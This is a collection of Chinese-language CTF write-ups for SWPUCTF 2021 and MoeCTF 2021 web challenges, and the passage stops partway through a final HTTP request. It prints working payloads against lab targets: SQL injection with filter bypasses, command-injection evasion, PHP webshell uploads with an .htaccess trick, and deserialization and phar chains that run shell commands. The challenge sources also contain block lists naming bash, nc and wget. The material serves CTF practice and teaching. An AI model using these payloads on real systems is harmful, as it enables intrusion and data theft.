
```
TlNTQ1RGe2E0NDNjZDEwLTA1MzctNDBlMC1hYWEyLTAyZjhhNjU4ZmEzZX0=
```

通过 base64 解码即可获得 flag 。


# SWPUCTF 2021

## Web

### jicao

```php
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
```

Payload 如下

```
Body: id=wllmNB
Param: json={"x":"wllm"}
```

### easy\_md5

```php
<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?>
```

Payload 如下

```
Body: password[]=2
Param: name[]=1
```

### easy\_sql

打开页面后 title 存在提示 参数是 `wllm` 。

```bash
$ python sqlmap.py  -u http://node2.anna.nssctf.cn:28574/?wllm=1 --dbs
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] test_db
$ python sqlmap.py  -u http://node2.anna.nssctf.cn:28574/?wllm=1 -D test_db --tables
Database: test_db
[2 tables]
+---------+
| test_tb |
| users   |
+---------+
$ python sqlmap.py  -u http://node2.anna.nssctf.cn:28574/?wllm=1 -D test_db -T test_tb --columns
Database: test_db
Table: test_tb
[2 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(50) |
| id     | int(11)     |
+--------+-------------+
$ python sqlmap.py  -u http://node2.anna.nssctf.cn:28574/?wllm=1 -D test_db -T test_tb -C flag --dump
Database: test_db
Table: test_tb
[1 entry]
+----------------------------------------------+
| flag                                         |
+----------------------------------------------+
| NSSCTF{66c831a1-4505-4bcd-8b89-b9620b715aeb} |
+----------------------------------------------+
```

### include

Payload 如下

```
file=php://filter/convert.base64-encode/resource=flag.php
```

### caidao

蚁剑利用 `$_POST['wllm']` 一把梭。

### easyrce

```
url=system("ls%20/");
```

回显 `bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var` ，

```
url=system("cat%20/flllllaaaaaaggggggg");
```

得到 flag。

### babyrce

```php
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦！";
?>
```

设置 Cookie `admin=1` ，即可到达下一关 。

```php
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}
?>
```

通过分析可得空格被过滤，可以通过 `$IFS$1` 来绕过，构造 Payload 如下

```
url=ls$IFS$1/
```

得到回显 `bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var` ，

```
url=cat$IFS$1/flllllaaaaaaggggggg
```

得到 flag。

### hardrce

```php
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm'])) {
  $wllm = $_GET['wllm'];
  $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
  foreach ($blacklist as $blackitem) {
    if (preg_match('/' . $blackitem . '/m', $wllm)) {
      die("LTLT说不能用这些奇奇怪怪的符号哦！");
    }
  }
  if(preg_match('/[a-zA-Z]/is',$wllm)) {
    die("Ra's Al Ghul说不能用字母哦！");
  }
  echo "NoVic4说：不错哦小伙子，可你能拿到flag吗？";
  eval($wllm);
} else {
  echo "蔡总说：注意审题！！！";
}
?>
```

发现没有过滤 `%` ，又不能用字母，那就只能尝试下 Urlencode 取反绕过了。

```php
<?php
$a = 'system';
$b = 'ls$IFS$1/';
echo '(~'.urlencode(~$a).')(~'.urlencode(~$b).');';
// (~%8C%86%8C%8B%9A%92)(~%93%8C%DB%B6%B9%AC%DB%CE%D0);
```

构造 Payload 如下

```
wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DB%B6%B9%AC%DB%CE%D0);
```

可以得到回显如下

```
bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
```

通过构造 Urlencode 取反后通过如下 Payload 就可以得到 flag 了。

```php
<?php
$a = 'system';
$b = 'cat$IFS$1/flllllaaaaaaggggggg';
echo '(~'.urlencode(~$a).')(~'.urlencode(~$b).');';
// (~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DB%B6%B9%AC%DB%CE%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
```

```
wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DB%B6%B9%AC%DB%CE%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
```

### hardrce\_3

```php
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm'])) {
  $wllm = $_GET['wllm'];
  $blacklist = [' ','\^','\~','\|'];
  foreach ($blacklist as $blackitem) {
    if (preg_match('/' . $blackitem . '/m', $wllm)) {
      die("小伙子只会异或和取反？不好意思哦LTLT说不能用！！");
    }
  }
  if(preg_match('/[a-zA-Z0-9]/is',$wllm)) {
    die("Ra'sAlGhul说用字母数字是没有灵魂的！");
  }
  echo "NoVic4说：不错哦小伙子，可你能拿到flag吗？";
  eval($wllm);
} else {
  echo "蔡总说：注意审题！！！";
}
?>
```

这是一道无字母数字 rce ，根据百度一番查找找到用自增的方法来解决

> <https://blog.csdn.net/qq\\_61778128/article/details/127063407>

```php
<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A"，$__没有定义，默认为False也即0，此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S"，此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E"，此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R"，此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T"，此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P"，此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O"，此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S"，此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T"，此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);
```

这里放一个压缩版（

```php
<?php
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;$___.=$__;$__++;$__++;$___.=$__;$__=$_;$____="_";$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__++;$__++;$__++;$__++;$____.=$__;$__++;$____.=$__;$_=$$____;$___($_[_]);
```

将以上内容进行一次 Urlencode 编码得到以下内容，将其作为 Payload 。

```
wllm=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%5F%5F%3D%24%5F%5B%24%5F%5F%5D%3B%24%5F%5F%3D%24%5F%5F%5F%3B%24%5F%3D%24%5F%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%5F%5F%3D%22%5F%22%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%24%5F%5F%5F%5F%3B%24%5F%5F%5F%28%24%5F%5B%5F%5D%29%3B
```

但是发现并没有用，通过百度看发现还需要利用 `file_put_contents()` 函数来绕过 disable\_function。

所以需要构造 Payload 如下（body 部分）

```
_=file_put_contents('1.php','<?php eval($_POST[1]); ?>');
```

然后访问 `./1.php` 发现文件成功写入后尝试用蚁剑连接，连接成功后发现 flag 就在根目录 `/flag` 中。

### finalrce

```php
<?php
highlight_file(__FILE__);
if(isset($_GET['url'])) {
  $url=$_GET['url'];
  if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)) {
    echo "Sorry,you can't use this.";
  } else {
    echo "Can you see anything?";
    exec($url);
  }
}
```

通过 `tee` 和 管道符 可以将值输出到文件中，构造 Payload 如下

```
url=l\s / | tee 1.html
```

访问 `./1.html` 可以得到以下内容

```
a_here_is_a_f1ag bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
```

构造以下 Payload 获取 flag ，需要注意 `la` 和 `cat` 被过滤了，需要使用 `\` 进行绕过

```
url=c\at /flllll\aaaaaaggggggg | tee 2.html
```

访问 `./2.html` 就可以得到 flag 了。

### Do\_you\_know\_http

修改以下两项

```http
User-Agent: WLLM
X-Forwarded-For: 127.0.0.1
```

即可得到 flag。

### ez\_unserialize

先用 dirsearch 找找文件\~

```bash
$ python dirsearch.py -u http://node2.anna.nssctf.cn:28104/
[11:43:36] 200 -    0B  - /flag.php
[11:49:43] 200 -   35B  - /robots.txt
```

访问 `/robots.txt` 可以得到 `/cl45s.php` ，访问可以得到以下代码。

```php
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>
```

这是一道反序列题，先进行序列化构造。

```php
<?php
class wllm{

  public $admin;
  public $passwd;

  public function __construct(){
    $this->admin ="user";
    $this->passwd = "123456";
  }

  public function __destruct(){
    if($this->admin === "admin" && $this->passwd === "ctf"){
      include("flag.php");
      echo $flag;
    }else{
      echo $this->admin;
      echo $this->passwd;
      echo "Just a bit more!";
    }
  }
}

$a = new wllm();
$a->admin = "admin";
$a->passwd = "ctf";
echo serialize($a)
// O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
```

得到返回的值后构造 Payload 如下

```
p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
```

就得到 flag 。

### easyupload1.0

构造图片马

```http
POST /upload.php HTTP/1.1

------WebKitFormBoundary8eWcQ5xJ0L37mCSt
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg

<?php eval($_POST[1]); ?>
------WebKitFormBoundary8eWcQ5xJ0L37mCSt
```

上传后得到回显 `./upload/shell.php` ，通过蚁剑一把梭发现根目录的 flag 是假的，那就找找环境变量罢，通过构造 Payload 如下

```
1=phpinfo();
```

F5 查找发现 flag 就在这里面。

### easyupload2.0

构造图片马

```http
POST /upload.php HTTP/1.1

------WebKitFormBoundary8eWcQ5xJ0L37mCSt
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg

<?php eval($_POST[1]); ?>
------WebKitFormBoundary8eWcQ5xJ0L37mCSt
```

上传后得到回显 `php是不行滴` ，那就尝试修改后缀为其他（比如 `.phtml` ），上传成功后直接构造 Payload 如下

```
1=phpinfo();
```

F5 查找发现 flag 就在这里面。

### easyupload3.0

这次比上一次来说过滤了很多，改后缀名已经无法绕过了，那就试试改 `.htaccess` 罢。

```http
POST /upload.php HTTP/1.1

------WebKitFormBoundaryfmADKqeYk0Yxw93y
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/png

<FilesMatch "png">
setHandler application/x-httpd-php
</FilesMatch>
------WebKitFormBoundaryfmADKqeYk0Yxw93y
```

发现上传成功，那就上传个图片马罢。

```http
POST /upload.php HTTP/1.1

------WebKitFormBoundaryfmADKqeYk0Yxw93y
Content-Disposition: form-data; name="uploaded"; filename="1.png"
Content-Type: image/png

<?php eval($_POST[1]); ?>
------WebKitFormBoundaryfmADKqeYk0Yxw93y
```

上传成功后直接构造 Payload 如下

```
1=phpinfo();
```

F5 查找发现 flag 就在这里面。

### no\_wakeup

根据题目猜测是需要绕过反序列化时候的 `__wakeup()` 魔术方法。

```php
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>
```

可以通过修改反序列化对象的参数就可以绕过该魔术方法了，先进行序列化构造。

```php
<?php
class HaHaHa{


  public $admin;
  public $passwd;

  public function __construct(){
    $this->admin ="user";
    $this->passwd = "123456";
  }

  public function __wakeup(){
    $this->passwd = sha1($this->passwd);
  }

  public function __destruct(){
    if($this->admin === "admin" && $this->passwd === "wllm"){
      include("flag.php");
      echo $flag;
    }else{
      echo $this->passwd;
      echo "No wake up";
    }
  }
}

$a = new HaHaHa();
$a->admin = "admin";
$a->passwd = "wllm";
echo serialize($a);
```

可以得到值

```
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
```

将对象参数个数 `2` 改成 `3` 即可绕过，即构造 Payload 如下

```
p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
```

### PseudoProtocols

题目标题为 伪协议 ，那就是一道 伪协议 的题目力。

题目存在 Param `wllm` ，构造 Payload 如下

```
wllm=php://filter/convert.base64-encode/resource=hint.php
```

就可以得到 `hint.php` 的代码如下

```php
<?php
//go to /test2222222222222.php
?>
```

前往提示内的文件可以得到以下代码

```php
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?>
```

需要使得 `a` 的值为 `I want flag` ，先将 `I want flag` 进行 base64 编码得到 `SSB3YW50IGZsYWc=` ，再构造 Payload 如下

```
a=data://text/plain;base64,SSB3YW50IGZsYWc=
```

就可以得到 flag 了。

### error

根据题目猜测是 SQL 报错注入（？，试试 sqlmap。

```bash
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id=1 --dbs
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] test_db
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id=1 -D test_db --tables
Database: test_db
[2 tables]
+---------+
| test_tb |
| users   |
+---------+
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id=1 -D test_db -T test_tb --columns
Database: test_db
Table: test_tb
[2 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(50) |
| id     | int(11)     |
+--------+-------------+
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id=1 -D test_db -T test_tb -C flag --dump
Database: test_db
Table: test_tb
[1 entry]
+----------------------------------------------+
| flag                                         |
+----------------------------------------------+
| NSSCTF{d9d7ae7c-5b01-461c-836a-4e0f784d9784} |
+----------------------------------------------+
```

### pop

```php
<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>
```

先构造序列化

```php
<?php
class w44m{

  private $admin = 'aaa';

  public function setAdmin(string $admin): void
  {
    $this->admin = $admin;
  }

  public function setPasswd(string $passwd): void
  {
    $this->passwd = $passwd;
  }
  protected $passwd = '123456';

  public function Getflag(){
    if($this->admin === 'w44m' && $this->passwd ==='08067'){
      include('flag.php');
      echo $flag;
    }else{
      echo $this->admin;
      echo $this->passwd;
      echo 'nono';
    }
  }
}

class w22m{
  public $w00m;
  public function __destruct(){
    echo $this->w00m;
  }
}

class w33m{
  public $w00m;
  public $w22m;
  public function __toString(){
    $this->w00m->{$this->w22m}();
    return 0;
  }
}

$a = new w22m();
$b = new w33m();
$c = new w44m();
$a->w00m = $b;
$b->w00m = $c;
$b->w22m = 'Getflag';
$c->setAdmin('w44m');
$c->setPasswd('08067');
echo urlencode(serialize($a));
// O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
```

之后构造 Payload 如下即可得到 flag 。

```
w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
```

### sql

题目中说明需要绕过 Waf ，那就先判断被过滤的字符，构造 Payload 如下

```
wllm=1' and 1=1%23
wllm=1'||1=1%23
wllm=1' or 1%23
```

回显提示存在非法字符，

```
wllm=1'||1#
```

此时回显并没有提示存在非法字符，可以推断出过滤了 `=` 和 `空格` 。

构造 Payload 如下

```
wllm=1'/**/order/**/by/**/1%23
wllm=1'/**/order/**/by/**/2%23
wllm=1'/**/order/**/by/**/3%23
wllm=1'/**/order/**/by/**/4%23
```

到 `4` 时出现报错，因此长度为 `3` 。

构造 Payload 如下

```
wllm=-1'/**/union/**/select/**/1,2,3%23
```

可以发现 `2,3` 有回显，构造 Payload 如下

```
wllm=-1'/**/union/**/select/**/1,database(),3%23
```

可以得到数据库名 `test_db` ，构造 Payload 如下

```
wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'),3%23
```

可以得到表名 `LTLT_flag, users` ，构造 Payload 如下（插曲：发现 and 也被过滤了）

```
wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'),3%23
```

可以得到列名 `id, flag, id, username` ，构造 Payload 如下

```
wllm=-1'/**/union/**/select/**/1,(select/**/flag/**/from/**/LTLT_flag/**/limit/**/0,1),3%23
```

可以得到 `NSSCTF{aeb148da-5efa` ，可以通过 `mid()` 来获取 flag 的其他部分，构造 Payload 如下

```
wllm=-1'/**/union/**/select/**/1,mid((select/**/flag/**/from/**/LTLT_flag/**/limit/**/0,1),21),3%23
wllm=-1'/**/union/**/select/**/1,mid((select/**/flag/**/from/**/LTLT_flag/**/limit/**/0,1),40),3%23
```

可以得到 `-430e-961b-ab03b3fb` 和 `2d32}` 拼起来就是 flag 了。

### babyunser

进入题目后可以看见 `上传文件` 和 `查看文件` 两个入口，经过一番摸索后，在 `查看文件` 处输入 `read.php` 可以看到该文件的源代码，可以发现还存在一个文件 `class.php` 如下

```php
<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃，不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}
```

链子如下

```php
<?php
class aa{
  public $name;

  public function setName($name)
  {
    $this->name = $name;
  }

  public function __construct(){
    $this->name='aa';
  }

  public function __destruct(){
    $this->name=strtolower($this->name);
  }
}

class ff{
  private $content;

  public function setContent($content)
  {
    $this->content = $content;
  }
  public $func;

  public function setFunc($func)
  {
    $this->func = $func;
  }

  public function __construct(){
    $this->content="\<?php @eval(\$_POST[1]);?>";
  }

  public function __get($key){
    $this->$key->{$this->func}($_POST['cmd']);
  }
}

class zz{
  public $filename;

  public function setFilename($filename)
  {
    $this->filename = $filename;
  }
  public $content='surprise';

  public function __construct($filename){
    $this->filename=$filename;
  }

  public function filter(){
    if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
      die('这不合理');
    }
  }

  public function write($var){
    $filename=$this->filename;
    $lt=$this->filename->$var;
    //此功能废弃，不想写了
  }

  public function getFile(){
    $this->filter();
    $contents=file_get_contents($this->filename);
    if(!empty($contents)){
      return $contents;
    }else{
      die("404 not found");
    }
  }

  public function __toString(){ // L10
    $this->{$_POST['method']}($_POST['var']);
    return $this->content;
  }
}

class xx{
  public $name;
  public $arg;

  public function __construct(){
    $this->name='eval';
    $this->arg='phpinfo();';
  }

  public function __call($name,$arg){
    $name($arg[0]);
  }
}

$aa = new aa();
$ff = new ff();
$xx = new xx();
$ff->setContent($xx);
$ff->setFunc('system');
$zz = new zz($ff);
$aa->name = $zz;

$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($aa);
$phar->addFromString("test.txt", "text");
$phar->stopBuffering();
```

Payload 如下

```
file=phar://upload/25cb04b89bbe7007013ec2171ab27333.txt&method=write&var=content&cmd=cat /flag
```


# MoeCTF 2021

## Web

### Web安全入门指北—小饼干

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FV9GHRh7neiu6PFimC6vG%2FWeb%E5%AE%89%E5%85%A8%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97%E2%80%94%E5%B0%8F%E9%A5%BC%E5%B9%B2.png?alt=media&amp;token=47498c55-ef3b-4fa1-9e61-72b513f50c85" alt="" width="375"><figcaption></figcaption></figure>

改下 Cookie 就可以得到 flag。

### Web安全入门指北—GET

```php
<?php
include "flag.php";
$moe = $_GET['moe'];
if ($moe == "flag") {
    echo $flag;
}else {
    highlight_file(__FILE__);
}
```

Payload 如下

```
moe=flag
```

### 2048

打开网站源代码 - 搜索 flag - 找到 `getFlag` 函数。

```js
getFlag: function() {
	var req = new XMLHttpRequest;
	req.open("GET","flag.php?score="+obj.score,true);
	req.onload = function() {
		alert(this.responseText);
	}
	req.send();
}
```

访问 `/flag.php?score=100000` 即可得到 flag。

### babyRCE

```php
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}
```

构造 Payload 如下

```
rce=ls
```

可以发现该目录下有 `flag.php` 和 `index.php` 两个文件。

构造 Payload 如下

```
rce=c\at${IFS}f\lag.php
```

就可以得到 flag 了。

### unserialize

> <https://www.php.cn/faq/485663.html>

#### PHP 魔术函数

* \_\_constract：在实例化一个类时，触发
* \_\_destruct：在一个实例对象被销毁的时候触发
* \_\_call(name, arguments)：访问一个不能访问的成员方法时触发
* \_\_get()：读取不可访问属性的值时触发。

#### 解题

**链子**

1. entrance(\_\_construct)
2. entrance(\_\_destruct)
3. springboard(\_\_call)
4. evil(\_\_get)

**构造序列化**

```php
<?php

class entrance
{
    public $start;

    function __construct($start)
    {
        $this->start = $start;
    }

    function __destruct()
    {
        $this->start->helloworld();
    }
}

class springboard
{
    public $middle;

    function __call($name, $arguments)
    {
        echo $this->middle->hs;
    }
}

class evil
{
    public $end;

    function __construct($end)
    {
        $this->end = $end;
    }

    function __get($Attribute)
    {
        eval($this->end);
    }
}

$a = new entrance(new springboard);
$a->start->middle = new evil("system('cat /flag');");
echo serialize($a);
// O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:20:"system('cat /flag');";}}}
```

**Payload**

```
serialize=O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:20:"system(%27cat%20/flag%27);";}}}
```

### Do you know HTTP

```http
HS / HTTP/1.1
Host: node2.anna.nssctf.cn:28230
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
